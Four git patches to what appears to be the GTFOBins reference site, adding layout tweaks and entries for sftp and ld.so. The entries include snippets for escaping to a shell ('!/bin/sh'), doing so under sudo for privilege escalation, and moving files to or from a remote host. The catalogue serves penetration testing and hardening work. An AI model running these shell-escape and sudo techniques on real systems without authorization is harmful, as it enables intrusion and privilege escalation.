From 80e5c2cac40464bcfad12abc66686484b83f2561 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 21 May 2018 23:09:02 +0200 Subject: [PATCH 1/4] Add GitHub buttons --- _includes/page_title.html | 4 ++++ _layouts/common.html | 1 + style.scss | 9 +++++++++ 3 files changed, 14 insertions(+) diff --git a/_includes/page_title.html b/_includes/page_title.html index df8efdb..fe9faa2 100644 --- a/_includes/page_title.html +++ b/_includes/page_title.html @@ -3,4 +3,8 @@ .. / {% endif %} {{ include.title }} +
+ Star + Fork +
diff --git a/_layouts/common.html b/_layouts/common.html index 6a5cdf0..b13c6c2 100644 --- a/_layouts/common.html +++ b/_layouts/common.html @@ -15,6 +15,7 @@ + {{ content }} diff --git a/style.scss b/style.scss index c8c1d38..2dd6be2 100644 --- a/style.scss +++ b/style.scss @@ -115,3 +115,12 @@ a:hover { font-size: 1.4rem; font-weight: bold; } + +.github-buttons { + float: right; + + // avoid displaying the link text during loading + a.github-button { + visibility: hidden; + } +} From 67a480ccce46e58b9577788554b15b05966d8a4a Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 22 May 2018 11:58:12 +0200 Subject: [PATCH 2/4] Add sftp --- _gtfobins/sftp.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 _gtfobins/sftp.md diff --git a/_gtfobins/sftp.md b/_gtfobins/sftp.md new file mode 100644 index 0000000..c2c3179 --- /dev/null +++ b/_gtfobins/sftp.md @@ -0,0 +1,25 @@ +--- +functions: + exec-interactive: + - code: | + HOST=user@10.0.0.1 + sftp $HOST + !/bin/sh + sudo-enabled: + - code: | + HOST=user@10.0.0.1 + sudo sftp $HOST + !/bin/sh + upload: + - description: Send local file to a SSH server. + code: | + RHOST=user@10.0.0.1 + sftp $RHOST + put file_to_send where_to_save + download: + - description: Fetch a remote file from a SSH server. + code: | + RHOST=user@10.0.0.1 + sftp $RHOST + get file_to_get where_to_save +--- From 386b467490abd1838ce1ca3535155d7190f30ab5 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 22 May 2018 12:24:49 +0200 Subject: [PATCH 3/4] Enumerate examples --- _layouts/bin.html | 4 ++++ style.scss | 24 +++++++++++++++++++++++- 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/_layouts/bin.html b/_layouts/bin.html index 92caa10..ef14d09 100644 --- a/_layouts/bin.html +++ b/_layouts/bin.html @@ -21,6 +21,8 @@ layout: common {{ site.data.functions[function_name].description | markdownify }} +
+ {% for example in examples %}
@@ -43,4 +45,6 @@ sudo chmod +s ./{{ bin_name }} {% endfor %} +
+ {% endfor %} diff --git a/style.scss b/style.scss index 2dd6be2..136b421 100644 --- a/style.scss +++ b/style.scss @@ -104,7 +104,29 @@ a:hover { } } -// classes +// bin examples + +.examples { + display: table; + width: 100%; + table-layout: fixed; + counter-reset: item; + + .example:not(:only-child) { + display: table-row; + + &:before { + display: table-cell; + font-size: 0.8rem; + width: 2em; + text-align: center; + counter-increment: item; + content: counter(item) "."; + } + } +} + +// other classes .bin-name { font-family: monospace; From 2fed778c518a85732df1b5778ac5206732d10038 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 22 May 2018 12:40:35 +0200 Subject: [PATCH 4/4] Improve the description of ld.so --- _gtfobins/ld.so.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/_gtfobins/ld.so.md b/_gtfobins/ld.so.md index 9a7a5fd..2edbb4e 100644 --- a/_gtfobins/ld.so.md +++ b/_gtfobins/ld.so.md @@ -1,5 +1,11 @@ --- -description: Ld.so is the Linux dynamic linker/loader. Its file name and location might change between Linux versions. +description: | + `ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with: + + ``` + $ strings /proc/self/exe | head -1 + /lib64/ld-linux-x86-64.so.2 + ``` functions: exec-interactive: - code: /lib/ld.so /bin/sh